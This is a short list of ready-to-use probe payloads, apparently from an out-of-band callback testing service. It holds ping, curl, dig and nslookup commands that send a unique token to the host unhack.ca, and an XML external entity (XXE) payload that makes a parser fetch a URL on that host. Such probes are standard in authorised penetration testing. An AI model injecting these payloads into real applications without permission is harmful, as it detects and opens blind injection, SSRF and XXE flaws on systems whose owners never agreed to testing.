$ ping -c1 -p 0084fb539f9d20aa1f28724c38f52d00 unhack.ca
$ curl http://unhack.ca/p/84fb539f9d20aa1f28724c38f52d
$ dig 84fb539f9d20aa1f28724c38f52d @unhack.ca
$ dig 84fb539f9d20aa1f28724c38f52d.ns.unhack.ca
C:\> nslookup 84fb539f9d20aa1f28724c38f52d unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/84fb539f9d20aa1f28724c38f52d">]> <foo>&xxe;</foo>